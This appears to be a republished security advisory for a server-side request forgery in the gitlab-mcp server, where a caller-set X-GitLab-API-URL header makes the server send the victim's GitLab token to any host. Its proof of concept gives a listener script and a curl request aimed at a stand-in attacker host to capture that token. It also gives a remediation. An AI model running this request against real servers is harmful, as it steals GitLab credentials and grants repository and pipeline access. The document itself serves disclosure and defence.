GHSA-2h44-8472-frjj: SSRF

Published Sep 15, 2026
·
Updated

Server-Side Request Forgery via X-GitLab-API-URL Header Allows Credential Theft

Affected

- Repository: zereight/gitlab-mcp - Affected versions: All versions through commit 74a8c83 - Patched versions: None at time of report

Severity

High. CVSS v3.1 8.5 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)

Description

When the environment variable ENABLEDYNAMICAPIURL=true is set, the server reads the X-GitLab-API-URL HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (new URL(dynamicApiUrl)) but applies no allowlist or hostname restriction. The server then attaches the victim's Private-Token to every outbound fetch that uses the redirected URL.

Any caller who can reach the HTTP transport can set X-GitLab-API-URL to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host.

The vulnerable code appears at two locations.

SSE handler (index.ts:11541):

typescript const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim(); if (ENABLEDYNAMICAPIURL && dynamicApiUrl) { apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); // no allowlist check }

Streamable HTTP handler (index.ts:11787), inside parseAuthHeaders:

typescript const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim(); if (ENABLEDYNAMICAPIURL && dynamicApiUrl) { new URL(dynamicApiUrl); // syntax-only check apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); // any reachable host accepted }

In both cases, apiUrl propagates through getEffectiveApiUrl() and into getFetchConfig(), which attaches Private-Token: <victimtoken> to every outbound fetch. The token reaches the attacker's host, not GitLab.

Proof of Concept

Run upstream zereight/gitlab-mcp at commit 74a8c83 with ENABLEDYNAMICAPIURL=true and REMOTEAUTHORIZATION=true.

bash 1. Start a listener on the attacker host (port 9099) Any HTTP server that logs incoming headers will work. python3 -c " import http.server, sys class H(http.server.BaseHTTPRequestHandler): def doGET(self): print('HEADERS:', dict(self.headers)) self.sendresponse(200); self.endheaders() http.server.HTTPServer(('0.0.0.0', 9099), H).serveforever() "

2. Send any MCP tool call with the malicious header curl -X POST http://TARGET:3002/mcp \ -H "X-GitLab-API-URL: http://ATTACKER:9099/api/v4" \ -H "Authorization: Bearer ANYVALIDTOKEN" \ -H "Content-Type: application/json" \ -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"listissues","arguments":{"projectid":"1"}},"id":1}'

The listener receives:

GET /api/v4/projects/1/issues HTTP/1.1 private-token: <VICTIMGITLABTOKEN> Host: ATTACKER:9099

The victim's token arrives at the attacker host. The attacker never needed it in advance. The MCP server delivered it.

Impact

The attacker obtains the victim's GitLab Personal Access Token or CI/CD job token in a single request. With the stolen token they gain full GitLab API access at the victim's permission level: read of all repositories, issues, merge requests, CI/CD pipeline definitions and variables/secrets; write to push code, modify pipelines, create or delete resources, and rotate CI/CD variables.

CVSS factors: - PR:L: reaching the HTTP transport requires presenting some auth token - S:C: the attack crosses the boundary into GitLab (a separate security domain) - C:H: victim's GitLab token stolen in one request; full read of all scoped data - I:H: attacker can push code and modify pipelines with the stolen token - A:N: the MCP server continues operating normally

Why This Is a Vulnerability, Not Intended Behavior

ENABLEDYNAMICAPIURL is documented for supporting self-hosted GitLab instances at a non-default base URL. The intended caller behavior is to supply the URL of their own GitLab instance. The feature has no mechanism to distinguish a legitimate self-hosted GitLab URL from an attacker-controlled host. Once enabled, every request that includes X-GitLab-API-URL can redirect the server's credential-carrying outbound calls to any reachable host with no restriction.

PR #453 (merged) added a startup guard that blocks the Streamable HTTP transport from running with static tokens unless REMOTEAUTHORIZATION=true or OAuth is configured. That guard runs once at server startup and checks transport configuration. It does not modify parseAuthHeaders, does not validate X-GitLab-API-URL, and does not restrict the token-forwarding path at runtime. The SSRF sink at index.ts:11787 is unchanged in the current code and fully reachable in the documented multi-user deployment mode (REMOTEAUTHORIZATION=true).

Remediation

Validate X-GitLab-API-URL against a configurable allowlist of trusted GitLab hostnames before assigning the value to apiUrl. Reject any request whose X-GitLab-API-URL hostname is not in the allowlist. Apply this check at both index.ts:11541 and index.ts:11787.

Example fix for the Streamable HTTP handler:

typescript const ALLOWEDHOSTS = (process.env.GITLABALLOWEDHOSTS ?? "") .split(",").map(h => h.trim()).filter(Boolean);

const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim(); if (ENABLEDYNAMICAPIURL && dynamicApiUrl) { const parsed = new URL(dynamicApiUrl); if (!ALLOWEDHOSTS.includes(parsed.hostname)) { throw new Error(X-GitLab-API-URL hostname not in allowlist: ${parsed.hostname}); } apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); }

Document GITLABALLOWEDHOSTS in the README alongside ENABLEDYNAMICAPIURL. If maintaining an allowlist is not feasible, disable ENABLEDYNAMICAPIURL by default and document the token-forwarding risk prominently.

Credit

Reported via GitHub Security Advisory on 2026-06-07.

Affected Software

1 affected componentFixes available
npm/@zereight/mcp-gitlab>=0.0.1<2.1.27
2.1.27

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@zereight/mcp-gitlab to a version that resolves this vulnerability.

    Fixed in 2.1.27
  2. Configuration

    If maintaining an allowlist is not feasible, disable ENABLE_DYNAMIC_API_URL (the feature is used to accept X-GitLab-API-URL and forward the victim's GitLab token to the redirected host).

    gitlab-mcp ENABLE_DYNAMIC_API_URL = false
  3. Configuration

    Validate X-GitLab-API-URL against a configurable allowlist of trusted GitLab hostnames (GITLAB_ALLOWED_HOSTS) before using it to set apiUrl / getEffectiveApiUrl; reject requests where X-GitLab-API-URL hostname is not in the allowlist.

    gitlab-mcp GITLAB_ALLOWED_HOSTS = configured allowlist
  4. Configuration

    Avoid running in modes where token-forwarding can occur via X-GitLab-API-URL unless REMOTE_AUTHORIZATION=true (or OAuth is used): the README should default to static tokens unless REMOTE_AUTHORIZATION=true or OAuth.

    gitlab-mcp REMOTE_AUTHORIZATION = true or not set to enable static tokens only
  5. Compensating control

    At the network layer, ensure only trusted callers can reach the MCP server's HTTP transport (the SSRF/token-theft requires reaching the HTTP transport).

  6. Operational

    If the victim's GitLab Personal Access Token or CI/CD job token may have been stolen, rotate the affected GitLab token/CI/CD credentials and invalidate any exposed pipeline variables.

Event History

Sep 15, 2026
Advisory Published
via GitHub·08:57 PM
Data Sourced
via GitHub·08:57 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed?

Deployments of npm/@zereight/mcp-gitlab are exposed when ENABLE_DYNAMIC_API_URL=true and an attacker can reach the HTTP transport. The affected range is all versions through commit 74a8c83.

2

What access does an attacker need?

An attacker needs only the ability to send requests to the HTTP transport and set the X-GitLab-API-URL header. No user interaction is required.

3

What can be disclosed if exploitation succeeds?

The server sends the victim's Private-Token to the attacker-controlled URL on the next outbound GitLab API call made for that request. This can expose credentials associated with the server's GitLab API access.

4

Is a patched version available?

No patched versions were available at the time of the report.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203